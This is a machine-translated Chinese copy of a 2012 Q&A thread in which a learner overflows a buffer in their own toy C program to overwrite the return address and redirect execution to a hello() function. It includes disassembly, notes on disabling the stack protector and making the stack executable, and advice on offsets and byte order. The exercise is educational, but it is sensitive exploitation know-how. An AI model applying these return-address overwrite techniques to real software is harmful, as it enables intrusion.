重写EBP栈返回值

嗨我想写一个溢出漏洞利用我已经建立的一个简单的程序。贝娄是我写的C程序。重写EBP栈返回值

#include <unistd.h> 
#include <string.h> 
#include <stdio.h> 

char *string_in = "Did not work"; 

int test(char *this){ 
char sum_buf[6]; 
strncpy(sum_buf,this,24); 
return 0; 
} 

void hello(){ 
printf("hello man"); 
string_in = "If this triggered, it means our shell code is working\n"; 
return; 
} 

int main(int argc, void **argv){ 

test("\x00\x40\x06\x02"); 
printf("My string is %s",string_in); 
return 0; 

}

基本上发生的事情是该字符串是假设在一个覆盖EBP具有0x00400602的价值，这是我的hello（）函数的返回地址进行读取。我知道这是自函数hello以来objdump -d test_stack.o的地址值。从对象转储，我可以告诉大家，RSP已提前20个字节，如图波纹管

00000000004005b4 <test>: 
    4005b4: 55      push %rbp 
    4005b5: 48 89 e5    mov %rsp,%rbp 
    4005b8: 48 83 ec 20    sub $0x20,%rsp 
    4005bc: 48 89 7d e8    mov %rdi,-0x18(%rbp) 
    4005c0: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 
    4005c7: 00 00 
    4005c9: 48 89 45 f8    mov %rax,-0x8(%rbp) 
    4005cd: 31 c0     xor %eax,%eax 
    4005cf: 48 8b 4d e8    mov -0x18(%rbp),%rcx 
    4005d3: 48 8d 45 f0    lea -0x10(%rbp),%rax 
    4005d7: ba 18 00 00 00   mov $0x18,%edx 
    4005dc: 48 89 ce    mov %rcx,%rsi 
    4005df: 48 89 c7    mov %rax,%rdi 
    4005e2: e8 a9 fe ff ff   callq 400490 <[email protected]> 
    4005e7: b8 00 00 00 00   mov $0x0,%eax 
    4005ec: 48 8b 55 f8    mov -0x8(%rbp),%rdx 
    4005f0: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx 
    4005f7: 00 00 
    4005f9: 74 05     je  400600 <test+0x4c> 
    4005fb: e8 a0 fe ff ff   callq 4004a0 <[email protected]> 
    400600: c9      leaveq 
    400601: c3      retq 

0000000000400602 <hello>: 
    400602: 55      push %rbp 
    400603: 48 89 e5    mov %rsp,%rbp 
    400606: b8 6d 07 40 00   mov $0x40076d,%eax 
    40060b: 48 89 c7    mov %rax,%rdi 
    40060e: b8 00 00 00 00   mov $0x0,%eax 
    400613: e8 98 fe ff ff   callq 4004b0 <[email protected]> 
    400618: 48 c7 05 0d 0a 20 00 movq $0x400778,0x200a0d(%rip)  #

由于子$ 20，％RSP我知道我需要写ATLEAST 20个字节......但我不知道我还需要写多少才能到达我的rbp。它可能来自我的calq's，我需要写8或我的字节，因为有2个电话。虽然我真的不知道我需要写多少。

我编译我的程序是这样的...

gcc -g stack.c -o test_stack.o 
execstack -s test_stack.o

由于我使用Ubuntu 11，我的内核版本为3.0.17一样，所以我知道我的ASLR默认是开启的。我可能需要关闭它，但我不知道该怎么做。另外我正在运行一个i386：x86_64。我可以告诉我的堆栈在运行过程中的样子吗？我怎样才能使这个工作，我怎么找到我需要写多少？

感谢您的帮助

来源

2012-04-19 Dr.Knowitall

我看到的一个问题是，您没有使用足够的字节作为函数的地址。你需要32位：'\ x00 \ x40 \ x06 \ x01'。另外，我认为你可能需要颠倒这些字节的顺序，因为x86在内存中将0x00400601存储为0x01,0x06,0x40,0x00。最后，我不知道我的建议是否会有所帮助。它的类型取决于gcc创建栈帧的方式。您最好在调试器中单步执行，以便您可以看到发生了什么。 – 2012-04-19 22:16:33

你的权利，我忘了输入最后一个字节。谢谢，我会看看这是否有效。 – 2012-04-19 22:42:48

大声笑，现在我没有得到一个stackoverflow错误。棒极了！但不管出于什么原因它不是printf（）。 – 2012-04-19 22:53:28

那么第一个问题是，我过了关栈上-fno-堆栈保护标志保护。一旦我做到了，覆盖我的缓冲区变得更容易。第二个问题是，即使字符串被读取并以小端存储，操作码和操作数似乎也被解释为大端。我不明白为什么会这样。最后，我不想覆盖EBP堆栈框架......这是我函数的返回地址。这意味着，我不需要写24字节，而是需要有效地覆盖32个字节。我终于得到了该计划的工作！

来源

2012-04-20 06:13:41

重写EBP栈返回值

回答

相关问题